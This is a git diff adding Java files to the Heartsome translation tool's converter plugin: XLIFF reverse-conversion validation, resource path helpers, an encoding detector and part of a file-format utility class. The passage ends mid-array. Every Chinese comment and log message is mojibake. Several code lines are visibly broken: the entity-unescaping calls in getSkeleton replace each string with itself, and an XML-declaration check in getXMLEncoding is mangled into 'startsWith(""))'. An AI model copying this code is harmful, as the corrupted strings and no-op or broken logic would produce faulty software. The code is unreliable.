b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/model/ReverseConversionValidateWithLibrary3.java @@ -0,0 +1,509 @@ +package net.heartsome.cat.convert.ui.model; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.Iterator; +import java.util.List; +import java.util.Vector; + +import javax.xml.parsers.ParserConfigurationException; + +import net.heartsome.cat.convert.ui.wizard.Messages; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.databinding.validation.ValidationStatus; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +/** + * 使用 heartsome library 3 对文件的逆转æ¢è¿›è¡ŒéªŒè¯ + * @author cheney + * @since JDK1.6 + */ +public class ReverseConversionValidateWithLibrary3 implements ConversionValidateStrategy { + + private static final Logger LOGGER = LoggerFactory.getLogger(ReverseConversionValidateWithLibrary3.class); + + private SAXBuilder builder; + private Document doc; + private Element root; + private List segments = new Vector(); + // 从 xliff 文件的 file 节点获å–目标语言 + private String targetLanguage; + // 文件类型 + private String dataType; + + // 骨架文件路径 + private String skl; + + public IStatus validate(String path, ConversionConfigBean configuraion, IProgressMonitor monitor) { + long start = System.currentTimeMillis(); + LOGGER.info("å¼€å§‹åˆ†æž xliff 文件,当å‰æ—¶é—´ä¸ºï¼š{}", start); + IStatus result = null; + monitor = Progress.getMonitor(monitor); + monitor.beginTask("æ­£åœ¨åˆ†æž xliff 文件...", 4); + String xliffFile = path; + try { + if (monitor.isCanceled()) { + return Status.CANCEL_STATUS; + } + + long startTime = 0; + if (LOGGER.isInfoEnabled()) { + File temp = new File(xliffFile); + if (temp.exists()) { + LOGGER.info("分æžçš„ xliff 文件大å°ä¸ºï¼ˆbytes):{}", temp.length()); + } + startTime = System.currentTimeMillis(); + LOGGER.info("开始加载 xliff 文件,当å‰æ—¶é—´ä¸ºï¼š{}", startTime); + } + + // 验è¯æ‰€éœ€è¦è½¬æ¢çš„ xliff 文件 + readXliff(xliffFile); + monitor.worked(1); + + long endTime = 0; + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info("加载 xliff 文件结æŸï¼Œå½“å‰æ—¶é—´ä¸ºï¼š{}", endTime); + LOGGER.info("加载 xliff 用时:{}", (endTime - startTime)); + } + + if (monitor.isCanceled()) { + return Status.CANCEL_STATUS; + } + + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info("开始处ç†èŽ·å¾— skeleton 文件的逻辑,当å‰æ—¶é—´ä¸ºï¼š{}", startTime); + } + // 获å–骨架文件路径 + skl = getSkeleton(); + monitor.worked(1); + + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info("获得 skeleton 文件结æŸï¼Œå½“å‰æ—¶é—´ä¸ºï¼š{}", endTime); + LOGGER.info("获得 skeleton 文件用时:{}", (endTime - startTime)); + } + + if (skl != null && !skl.equals("")) { //$NON-NLS-1$ + File sklFile = new File(skl); + if (!sklFile.exists()) { + return ValidationStatus.error("xliff 文件对应的骨架文件ä¸å­˜åœ¨ã€‚"); + } + } + // 设置骨架文件的路径 + configuraion.setSkeleton(skl); + + if (monitor.isCanceled()) { + return Status.CANCEL_STATUS; + } + + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info("开始创建 segments 列表,当å‰æ—¶é—´ä¸ºï¼š{}", startTime); + } + + createList(root); + monitor.worked(1); + + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info("创建 segments 列表结æŸï¼Œå½“å‰æ—¶é—´ä¸ºï¼š{}", endTime); + LOGGER.info("创建 segments 列表用时:{}", (endTime - startTime)); + } + + if (monitor.isCanceled()) { + return Status.CANCEL_STATUS; + } + // TODO 确认为什么需è¦åˆ›å»ºä¸€ä¸ª xliff 文件副本,并需è¦ç¡®è®¤ä»€ä¹ˆæ—¶å€™åˆ é™¤æ­¤å‰¯æœ¬ + File tmpXLFFile = File.createTempFile("tmpXLF", ".xlf"); //$NON-NLS-1$ //$NON-NLS-2$ + reBuildXlf(tmpXLFFile); + + // 设置文件类型 + configuraion.setFileType(dataType); + result = Status.OK_STATUS; + monitor.worked(1); + long end = System.currentTimeMillis(); + if (LOGGER.isInfoEnabled()) { + LOGGER.info("åˆ†æž xliff 文件结æŸï¼Œå½“å‰æ—¶é—´ä¸ºï¼š{}", end); + LOGGER.info("åˆ†æž xliff 文件总用时:{}", (end - start)); + } + } catch (Exception e) { + // TODO 需è¦é’ˆå¯¹ä¸åŒçš„异常返回ä¸èƒ½çš„æç¤ºä¿¡æ¯ + String messagePattern = "分æž{0}失败。"; + String message = MessageFormat.format(messagePattern, new Object[] { xliffFile }); + LOGGER.error(message, e); + result = ValidationStatus.error("åˆ†æž xliff 文件失败。", e); + } finally { + if (segments != null) { + segments = null; + } + if (root != null) { + root = null; + } + if (doc != null) { + doc = null; + } + if (builder != null) { + builder = null; + } + monitor.done(); + } + + return result; + } + + /** + * @param xliff + *  xliff 文件的路径 + * @throws ParserConfigurationException + * @throws IOException + * @throws SAXException + */ + private void readXliff(String xliff) throws SAXException, IOException, ParserConfigurationException { + builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(ConverterContext.catalogue)); + doc = builder.build(xliff); + root = doc.getRootElement(); + Element file = root.getChild("file"); //$NON-NLS-1$ + dataType = file.getAttributeValue("datatype"); //$NON-NLS-1$ + targetLanguage = file.getAttributeValue("target-language", Messages.getString("ReverseConversionValidateWithLibrary3.0")); //$NON-NLS-1$ //$NON-NLS-2$ + } + + /** + * 构建 xliff 文件副本 + * @param tmpXLFFile + * @throws IOException + * ; + */ + private void reBuildXlf(File tmpXLFFile) throws IOException { + long startTime = 0; + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info("在é‡å†™ xliff 文件的过程中,对 segments 列表的处ç†å¼€å§‹,当å‰æ—¶é—´ä¸ºï¼š{}", startTime); + } + for (int i = 0, size = segments.size() - 1; i < size; i++) { + Element e = segments.get(i); + Element src = e.getChild("source"); //$NON-NLS-1$ + Element tgt = e.getChild("target"); //$NON-NLS-1$ + + boolean isApproved = e.getAttributeValue("approved", "no").equalsIgnoreCase("yes"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + List srcList = src.getContent(); + Vector tmp = new Vector(); + for (int j = 0, jSize = srcList.size(); j < jSize; j++) { + Node o = srcList.get(j); + if (o.getNodeType() == Node.ELEMENT_NODE && o.getNodeName().equals("ph")) { //$NON-NLS-1$ + Element el = new Element(o); + if (el.getAttributeValue("id", "").startsWith("hs-merge")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + String tmpMergeId = el.getAttributeValue("id", "").substring(8); //$NON-NLS-1$ //$NON-NLS-2$ + String[] pairId = tmpMergeId.split("~"); //$NON-NLS-1$ + srcList.remove(j); + j--; + jSize--; + + int idIndex = pairId[0].indexOf("-"); //$NON-NLS-1$ + if (idIndex != -1) { + pairId[0] = pairId[0].substring(0, idIndex); + } + + idIndex = pairId[1].indexOf("-"); //$NON-NLS-1$ + if (idIndex != -1) { + pairId[1] = pairId[1].substring(0, idIndex); + } + + if (!pairId[0].equals(pairId[1])) { + pairId = null; + break; + } + pairId = null; + } else { + srcList.remove(j); + j--; + jSize--; + tmp.add(o); + } + } else { + srcList.remove(j); + j--; + jSize--; + tmp.add(o); + } + } + + src.removeAllChildren(); + src.setContent(tmp); + tmp = null; + + if (tgt == null) { + tgt = new Element("target", doc); //$NON-NLS-1$ + tgt.setAttribute(Messages.getString("ReverseConversionValidateWithLibrary3.1"), targetLanguage); //$NON-NLS-1$ + tgt.setAttribute("state", "new"); //$NON-NLS-1$ //$NON-NLS-2$ + List content = e.getChildren(); + Vector newContent = new Vector(); + for (int m = 0; m < content.size(); m++) { + Element tmpEl = content.get(m); + newContent.add(tmpEl); + if (tmpEl.getName().equals("source")) { //$NON-NLS-1$ + newContent.add(tgt); + } + tmpEl = null; + } + e.setContent(newContent); + newContent = null; + content = null; + } + + List tgtList = tgt.getContent(); + tmp = new Vector(); + + for (int j = 0, jSize = tgtList.size(); j < jSize; j++) { + Node o = tgtList.get(j); + if (o.getNodeType() == Node.ELEMENT_NODE && o.getNodeName().equals("ph")) { //$NON-NLS-1$ + Element el = new Element(o); + if (el.getAttributeValue("id", "").startsWith("hs-merge")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + String tmpMergeId = el.getAttributeValue("id", "").substring(8); //$NON-NLS-1$ //$NON-NLS-2$ + String[] pairId = tmpMergeId.split("~"); //$NON-NLS-1$ + tgtList.remove(j); + j--; + jSize--; + int idIndex = pairId[0].indexOf("-"); //$NON-NLS-1$ + if (idIndex != -1) { + pairId[0] = pairId[0].substring(0, idIndex); + } + + idIndex = pairId[1].indexOf("-"); //$NON-NLS-1$ + if (idIndex != -1) { + pairId[1] = pairId[1].substring(0, idIndex); + } + if (!pairId[0].equals(pairId[1])) { + pairId = null; + break; + } + pairId = null; + } else { + tgtList.remove(j); + j--; + jSize--; + tmp.add(o); + } + el = null; + } else { + tgtList.remove(j); + j--; + jSize--; + tmp.add(o); + } + } + + tgt.removeAllChildren(); + tgt.setContent(tmp); + tmp = null; + + Element nextEl = segments.get(i + 1); + if (!isApproved && srcList.size() > 0) { + nextEl.setAttribute("approved", "no"); //$NON-NLS-1$ //$NON-NLS-2$ + } + + Element nextSrc = nextEl.getChild("source"); //$NON-NLS-1$ + Element nextTgt = nextEl.getChild("target"); //$NON-NLS-1$ + + if (nextTgt == null) { + nextTgt = new Element("target", doc); //$NON-NLS-1$ + nextTgt.setAttribute("xml:lang", targetLanguage); //$NON-NLS-1$ + nextTgt.setAttribute("state", "new"); //$NON-NLS-1$ //$NON-NLS-2$ + List content = nextEl.getChildren(); + Vector newContent = new Vector(); + for (int m = 0; m < content.size(); m++) { + Element tmpEl = content.get(m); + newContent.add(tmpEl); + if (tmpEl.getName().equals("source")) { //$NON-NLS-1$ + newContent.add(nextTgt); + } + tmpEl = null; + } + nextEl.setContent(newContent); + newContent = null; + content = null; + } + + List nextSrcContent = nextSrc.getContent(); + List nextTgtContent = nextTgt.getContent(); + + nextSrc.removeAllChildren(); + Vector newNextSrcContent = new Vector(); + newNextSrcContent.addAll(srcList); + for (int j = 0, jSize = nextSrcContent.size(); j < jSize; j++) { + newNextSrcContent.add(nextSrcContent.get(j)); + } + nextSrc.setContent(newNextSrcContent); + newNextSrcContent = null; + + nextTgt.removeAllChildren(); + Vector newNextTgtContent = new Vector(); + newNextTgtContent.addAll(tgtList); + for (int j = 0, jSize = nextTgtContent.size(); j < jSize; j++) { + newNextTgtContent.add(nextTgtContent.get(j)); + } + nextTgt.setContent(newNextTgtContent); + newNextTgtContent = null; + } + + long endTime = 0; + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info("在é‡å†™ xliff 文件的过程中,对 segments 列表的处ç†ç»“æŸ,当å‰æ—¶é—´ä¸ºï¼š{}", endTime); + LOGGER.info("在é‡å†™ xliff 文件的过程中,对 segments 列表的处ç†ç”¨æ—¶ï¼š{}", (endTime - startTime)); + } + + XMLOutputter outputter = new XMLOutputter(); + outputter.preserveSpace(true); + + FileOutputStream out; + out = new FileOutputStream(tmpXLFFile); + + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info("在é‡å†™ xliff 文件的过程中,开始调用 XMLOutputter çš„ output 方法,当å‰æ—¶é—´ä¸ºï¼š{}", startTime); + } + + outputter.output(doc, out); + + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info("在é‡å†™ xliff 文件的这程中,调用 XMLOutputter çš„ output 方法结æŸï¼Œå½“å‰æ—¶é—´ä¸ºï¼š{}", endTime); + LOGGER.info("在é‡å†™ xliff 文件的这程中,调用 XMLOutputter çš„ output 方法用时:{}", (endTime - startTime)); + } + + out.close(); + outputter = null; + } + + /** + * 创建翻译节点列表 + * @param rootPara + * ; + */ + private void createList(Element rootPara) { + List files = rootPara.getChildren(); + Iterator it = files.iterator(); + while (it.hasNext()) { + Element el = it.next(); + if (el.getName().equals("trans-unit")) { //$NON-NLS-1$ + segments.add(el); + } else { + createList(el); + } + } + } + + /** + * 获å–骨架文件 + * @return 骨架文件路径 + * @throws IOException + * 在读å–骨架文件失败时抛出 IO 异常 ; + */ + private String getSkeleton() throws IOException { + String result = ""; //$NON-NLS-1$ + Element file = root.getChild("file"); //$NON-NLS-1$ + Element header = null; + String encoding = ""; + + if (file != null) { + header = file.getChild("header"); //$NON-NLS-1$ + if (header != null) { + + // 添加æºæ–‡ä»¶ç¼–ç çš„è¯»å– + List propGroups = header.getChildren("hs:prop-group"); //$NON-NLS-1$ + for (int i = 0; i < propGroups.size(); i++) { + Element prop = propGroups.get(i); + if (prop.getAttributeValue("name").equals("encoding")) { //$NON-NLS-1$ //$NON-NLS-2$ + encoding = prop.getText().trim(); + break; + } + } + if (encoding.equals("utf-8")) { //$NON-NLS-1$ + encoding = "UTF-8"; //$NON-NLS-1$ + } + + Element mskl = header.getChild("skl"); //$NON-NLS-1$ + if (mskl != null) { + Element external = mskl.getChild("external-file"); //$NON-NLS-1$ + if (external != null) { + result = external.getAttributeValue("href"); //$NON-NLS-1$ + result = result.replaceAll("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + result = result.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + result = result.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + result = result.replaceAll("'", "\'"); //$NON-NLS-1$ //$NON-NLS-2$ + result = result.replaceAll(""", "\""); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + Element internal = mskl.getChild("internal-file"); //$NON-NLS-1$ + if (internal != null) { + File tmp = File.createTempFile("internal", ".skl", new File("skl")); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + tmp.deleteOnExit(); + FileOutputStream out = new FileOutputStream(tmp); + List content = internal.getContent(); + for (int i = 0; i < content.size(); i++) { + Node n = content.get(i); + if (n.getNodeType() == Node.TEXT_NODE) { + out.write(n.getNodeValue().getBytes(encoding)); + } else if (n.getNodeType() == Node.CDATA_SECTION_NODE) { + // fixed bub 515 by john. + String cdataString = n.getNodeValue(); + if (cdataString.endsWith("]]")) { //$NON-NLS-1$ + cdataString += ">"; //$NON-NLS-1$ + } + out.write(cdataString.getBytes(encoding)); + } + } + out.close(); + return tmp.getAbsolutePath(); + } + return result; + } + external = null; + mskl = null; + } else { + return result; + } + } else { + return result; + } + } else { + return result; + } + + if (encoding != null) { + if (encoding.equals("")) { //$NON-NLS-1$ + List groups = header.getChildren("hs:prop-group"); //$NON-NLS-1$ + for (int i = 0; i < groups.size(); i++) { + Element group = groups.get(i); + List props = group.getChildren("hs:prop"); //$NON-NLS-1$ + for (int k = 0; k < props.size(); k++) { + Element prop = props.get(k); + if (prop.getAttributeValue("prop-type", "").equals("encoding")) { //$NON-NLS-1$ + encoding = prop.getText(); + } + } + } + } + } + header = null; + file = null; + return result; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/ConversionResource.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/ConversionResource.java new file mode 100644 index 0000000..b8a65a1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/ConversionResource.java @@ -0,0 +1,187 @@ +package net.heartsome.cat.convert.ui.utils; + +import java.io.File; + +import net.heartsome.cat.bean.Constant; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.converter.Converter; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Status; + +/** + * 本类用于管ç†è½¬æ¢çš„èµ„æº + * @author weachy + * @version + * @since JDK1.5 + */ +public class ConversionResource { + + private String direction; + + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); // 工作空间的 root + + private IFile file; // æºæ–‡ä»¶ + + private IProject project; // 所在项目 + + private IPath projectRelativePath; // 项目路径 + + /** + * 本类用于管ç†è½¬æ¢çš„èµ„æº + * @param direction + * 转æ¢æ–¹å‘ + * @param conversionItem + * 转æ¢é¡¹ç›®å¯¹è±¡ + * @throws CoreException + */ + public ConversionResource(String direction, IConversionItem conversionItem) throws CoreException { + this(direction, conversionItem.getLocation()); + } + + /** + * 本类用于管ç†è½¬æ¢çš„èµ„æº + * @param direction + * 转æ¢æ–¹å‘ + * @param path + * ç»å¯¹è·¯å¾„ + * @throws CoreException + */ + public ConversionResource(String direction, String path) throws CoreException { + this(direction, new Path(path)); + } + + /** + * 本类用于管ç†è½¬æ¢çš„èµ„æº + * @param direction + * 转æ¢æ–¹å‘ + * @param location + * ç»å¯¹è·¯å¾„ + * @throws CoreException + */ + public ConversionResource(String direction, IPath location) throws CoreException { + this.direction = direction; + file = root.getFileForLocation(location); + if (file != null) { + project = file.getProject(); + projectRelativePath = file.getProjectRelativePath(); + if (projectRelativePath.segmentCount() > 1) { + projectRelativePath = projectRelativePath.removeFirstSegments(1); // 移除 project 下的第一级目录。 + } + } else { + throw new CoreException(new Status(IStatus.WARNING, Activator.PLUGIN_ID, "找ä¸åˆ°è¯¥æ–‡ä»¶ï¼š" + location.toOSString())); + } + } + + /** + * 得到æºæ–‡ä»¶è·¯å¾„ + * @return ; + */ + public String getSourcePath() { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { + return file.getFullPath().toOSString(); + } else { + throw new RuntimeException("无法获å–æºæ–‡ä»¶è·¯å¾„。转æ¢å™¨è½¬æ¢æ–¹å‘:" + direction); + } + } + + /** + * 得到 XLIFF 文件路径 + * @return ; + */ + public String getXliffPath() { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { // æ­£å‘è½¬æ¢ + IPath projectPath = project.getFullPath(); // 得到项目路径 + IPath targetPath = projectRelativePath.addFileExtension("xlf"); // 添加 xlf åŽç¼€å + // 放到 XLIFF 文件夹下 + String xliffFilePath = projectPath.append(Constant.FOLDER_XLIFF).append(targetPath).toOSString(); + return xliffFilePath; + } else { // åå‘è½¬æ¢ + return file.getFullPath().toOSString(); + } + } + + /** + * 得到骨架文件路径 + * @return ; + */ + public String getSkeletonPath() { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { // æ­£å‘è½¬æ¢ + IPath projectPath = project.getFullPath(); // 得到项目路径 + IPath skeletonPath = projectRelativePath.addFileExtension("skl"); // 添加 skl åŽç¼€å + // 放到 SKL 文件夹下 + String skeletonFileFile = projectPath.append(Constant.FOLDER_SKL).append(skeletonPath).toOSString(); + return skeletonFileFile; + } else { // åå‘è½¬æ¢ + throw new RuntimeException("无法获å–骨架文件路径。转æ¢å™¨è½¬æ¢æ–¹å‘:" + direction); + } + } + + /** + * 得到目标文件路径 + * @return ; + */ + public String getTargetPath() { + return getTargetPath(Constant.FOLDER_TGT); + } + + /** + * 得到目标文件路径 + * @param tgtFolder + * 目标文件存放文件夹,默认值为{@link net.heartsome.cat.bean.Constant#FOLDER_TGT},默认情况下建议使用 {@link #getTargetPath()} + * @return ; + */ + public String getTargetPath(String tgtFolder) { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { // æ­£å‘è½¬æ¢ + throw new RuntimeException("无法获å–目标文件路径。转æ¢å™¨è½¬æ¢æ–¹å‘:" + direction); + } else { + IPath projectPath = project.getFullPath(); // 得到项目路径 + String fileExtension = projectRelativePath.getFileExtension(); + IPath targetPath; + if ("xlf".equalsIgnoreCase(fileExtension)) { + targetPath = projectRelativePath.removeFileExtension(); // 去除 .xlf åŽç¼€ + } else { + targetPath = projectRelativePath; + } + // 放到 Target 文件夹下 + String targetFilePath = projectPath.append(tgtFolder).append(targetPath).toOSString(); + return targetFilePath; + } + } + + /** + * 得到目标文件路径 + * @param tgtFolder + * 目标文件存放文件夹,默认值为{@link net.heartsome.cat.bean.Constant#FOLDER_TGT},默认情况下建议使用 {@link #getTargetPath()} + * @return ; + */ + public String getPreviewPath() { + if (Converter.DIRECTION_POSITIVE.equals(direction)) { // æ­£å‘è½¬æ¢ + throw new RuntimeException("无法获å–目标文件路径。转æ¢å™¨è½¬æ¢æ–¹å‘:" + direction); + } else { + IPath projectPath = project.getFullPath(); // 得到项目路径 + String fileExtension = projectRelativePath.getFileExtension(); + IPath targetPath; + if ("xlf".equalsIgnoreCase(fileExtension)) { + targetPath = projectRelativePath.removeFileExtension(); // 去除 .xlf åŽç¼€ + } else { + targetPath = projectRelativePath; + } + // 放到 Target 文件夹下 + String targetFilePath = projectPath.append(Constant.FOLDER_OTHER).append(targetPath).toOSString(); + int index = targetFilePath.lastIndexOf("."); + if (index > -1 && index > targetFilePath.lastIndexOf(File.separatorChar)) { + targetFilePath = targetFilePath.substring(0, index) + "_Preview" + targetFilePath.substring(index); + } + return targetFilePath; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/EncodingResolver.java b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/EncodingResolver.java new file mode 100644 index 0000000..1c98128 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/utils/EncodingResolver.java @@ -0,0 +1,335 @@ +/* + * Created on 24-nov-2004 + * + */ +package net.heartsome.cat.convert.ui.utils; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.io.PrintWriter; +import java.util.StringTokenizer; + +import net.heartsome.cat.bean.Constant; +import net.heartsome.util.TextUtil; + + +/** + * ç¼–ç åˆ†æžå·¥å…· + * @author Gonzalo Pennino Greco + * + * Copyright (c) 2004 Heartsome Holdings Pte. Ltd. http://www.heartsome.net + */ + +public class EncodingResolver { + + /** + * This method returns the file encoding + * + * @param fileName + * @param fileType + * @return + */ + public static String getEncoding(String fileName, String fileType) { + if (fileType == null || fileName == null) { + return null; + } else if (fileType.equals(FileFormatUtils.OO) || fileType.equals(FileFormatUtils.OFF)) { + return "UTF-8"; //$NON-NLS-1$ + + //fixed bug 424 by john. + } else if (fileType.equals(FileFormatUtils.MIF) || fileType.equals(FileFormatUtils.TEXT) || fileType.equals(FileFormatUtils.JS)) { + return "US-ASCII"; //$NON-NLS-1$ + } else if (fileType.equals(FileFormatUtils.JAVA)) { + return "ISO-8859-1"; //$NON-NLS-1$ + } else if (fileType.equals(FileFormatUtils.PO)) { + return "UTF-8"; //$NON-NLS-1$ + } if (fileType.equals(FileFormatUtils.RTF) || fileType.equals(FileFormatUtils.TRTF)) { + return getRTFEncoding(fileName); + } else if (fileType.equals(FileFormatUtils.XML) + || fileType.equals(FileFormatUtils.TTX) + || fileType.equals(FileFormatUtils.RESX) + || fileType.equals(FileFormatUtils.INX)) { + return getXMLEncoding(fileName); + } else if (fileType.equals(FileFormatUtils.RC)) { + return getRCEncoding(fileName); + } + return null; + } + + private static String getRCEncoding(String fileName) { + try { + FileInputStream input = new FileInputStream(fileName); + // read 4K bytes + int read = 4096; + if (input.available() < read){ + read = input.available(); + } + byte[] bytes = new byte[read]; + input.read(bytes); + input.close(); + String content = new String(bytes); + + if (content.indexOf("code_page(") != -1) { //$NON-NLS-1$ + String code = content.substring(content.indexOf("code_page(")+10); //$NON-NLS-1$ + code = code.substring(0,code.indexOf(")")); //$NON-NLS-1$ + return RTF2JavaEncoding(code); + } + } catch(Exception e) { + return null; + } + return null; + } + + /** + * This method returns the most suitable encoding according to the file type + * + * @param fileType + * @return + */ + public static String getEncoding(String fileType){ + if ( fileType == null) { + return null; + } else if (fileType.equals(FileFormatUtils.OO)){ + return "UTF-8"; //$NON-NLS-1$ + } else if (fileType.equals(FileFormatUtils.MIF)){ + return "US-ASCII"; //$NON-NLS-1$ + } else if (fileType.equals(FileFormatUtils.JAVA)){ + return "ISO-8859-1"; //$NON-NLS-1$ + } else if (fileType.equals(FileFormatUtils.TTX)){ + return "UTF-16LE"; //$NON-NLS-1$ + } else if (fileType.equals(FileFormatUtils.PO) || fileType.equals(FileFormatUtils.XML) || fileType.equals(FileFormatUtils.INX) ){ + return "UTF-8"; //$NON-NLS-1$ + } + return null; + } + + public static boolean isFixedEncoding(String fileType){ + if (fileType.equals(FileFormatUtils.OO) || +// fileType.equals(FileFormatUtils.MIF) || //Fixed a bug 1651 by john. + fileType.equals(FileFormatUtils.RTF) || + fileType.equals(FileFormatUtils.TRTF)) + { + return true; + } + return false; + } + + private static String getXMLEncoding(String fileName) { + // return UTF-8 as default + String result = "UTF-8"; //$NON-NLS-1$ + try{ + // check if there is a BOM (byte order mark) + // at the start of the document + FileInputStream inputStream = new FileInputStream(fileName); + byte[] array = new byte[2]; + inputStream.read(array); + inputStream.close(); + byte[] lt = "<".getBytes(); //$NON-NLS-1$ + byte[] feff = {-1,-2}; + byte[] fffe = {-2,-1}; + if (array[0] != lt[0] ) { + // there is a BOM, now check the order + if (array[0] == fffe[0] && array[1] == fffe[1]) { + return "UTF-16BE"; //$NON-NLS-1$ + } + if (array[0] == feff[0] && array[1] == feff[1]) { + return "UTF-16LE"; //$NON-NLS-1$ + } + } + // check declared encoding + FileReader input = new FileReader(fileName); + BufferedReader buffer = new BufferedReader(input); + String line = buffer.readLine(); + input.close(); + if (line.startsWith("")); //$NON-NLS-1$ + line = line.replaceAll("\'", "\""); //$NON-NLS-1$ //$NON-NLS-2$ + StringTokenizer tokenizer = new StringTokenizer(line); + while (tokenizer.hasMoreTokens()) { + String token = tokenizer.nextToken(); + if (token.startsWith("encoding")) { //$NON-NLS-1$ + result = token.substring(token.indexOf("\"") + 1, token.lastIndexOf("\"")); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + } catch(Exception e) { + if(Constant.RUNNING_MODE == Constant.MODE_DEBUG){ + e.printStackTrace(); + } + + try { + File log = File.createTempFile("error", ".log", new File("logs")); + FileWriter writer = new FileWriter(log); + PrintWriter print = new PrintWriter(writer); + e.printStackTrace(print); + writer.close(); + print.close(); + writer = null; + print = null; + } catch (IOException e2) { + //do nothing + } //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + + } + String[] encodings = TextUtil.getPageCodes(); + for (int i=0 ; i + * 由于 R8 中采用 OSGI æœåŠ¡çš„æ–¹å¼å°†è½¬æ¢å™¨åˆ†å‰²æˆå•ä¸ªæ’件,因而增加了此类æ¥å–代 R7 中的 FileFormats.java。
    + * 用以在注册的转æ¢å™¨æœåŠ¡ä¸­èŽ·å–转æ¢å™¨æ”¯æŒçš„文件类型åã€æ–‡ä»¶æ‹“展å等等。 + * @author weachy + * @version + * @since JDK1.5 + */ +public class FileFormatUtils { + + private static ConverterBean allFileBean = new ConverterBean("All", "All", new String[] { "*.*" }); + + private static final ConverterViewModel MODEL = new ConverterViewModel(Activator.getContext(), + Converter.DIRECTION_POSITIVE); + + /** + * 得到支æŒçš„类型 + * @return ; + */ + public static List getSupportTypes() { + return MODEL.getSupportTypes(); + } + + /** + * 得到转æ¢å™¨æ”¯æŒçš„所有文件类型的拓展å + * @return ; + */ + public static String[] getExtensions() { + List list = MODEL.getSupportTypes(); + checkAutomaticOO(list); + + ArrayList FileFormats = new ArrayList(); + for (ConverterBean bean : list) { + String[] extensions = bean.getExtensions(); + for (String extension : extensions) { + FileFormats.add(extension); + } + } + return FileFormats.toArray(new String[] {}); + } + + /** + * å¾—åˆ°æ‰€æœ‰æ–‡ä»¶æ ¼å¼ + * @return ; + */ + public static String[] getFileFormats() { + List list = MODEL.getSupportTypes(); + checkAutomaticOO(list); + + String[] FileFormats = new String[list.size()]; + for (int i = 0; i < list.size(); i++) { + FileFormats[i] = list.get(i).getDescription(); + } + return FileFormats; + } + + /** + * 得到所有文件过滤拓展å。 + * @return ; + */ + public static String[] getFilterExtensions() { + List list = MODEL.getSupportTypes(); + checkAutomaticOO(list); + + list.add(0, allFileBean); + String[] FilterExtensions = new String[list.size()]; + for (int i = 0; i < list.size(); i++) { + FilterExtensions[i] = list.get(i).getFilterExtensions(); + } + return FilterExtensions; + } + + /** + * 得到所有文件过滤æ¡ä»¶å。 + * @return ; + */ + public static String[] getFilterNames() { + List list = MODEL.getSupportTypes(); + checkAutomaticOO(list); + + list.add(0, allFileBean); + String[] filterNames = new String[list.size()]; + for (int i = 0; i < list.size(); i++) { + filterNames[i] = list.get(i).getFilterNames(); + } + return filterNames; + } + + /** + * 检查是å¦å¯ç”¨ Open Office + */ + private static void checkAutomaticOO(List list) { + IPreferencesService service = Platform.getPreferencesService(); + String qualifier = Activator.getDefault().getBundle().getSymbolicName(); + boolean automaticOO = service.getBoolean(qualifier, IPreferenceConstants.AUTOMATIC_OO, false, null); + if (!automaticOO) { + list.remove(new ConverterBean("MS Office Document to XLIFF Conveter", null)); + } + } + + public static String[] formats = { "Adobe InDesign Interchange", //$NON-NLS-1$ + "HTML Page", //$NON-NLS-1$ + "JavaScript", 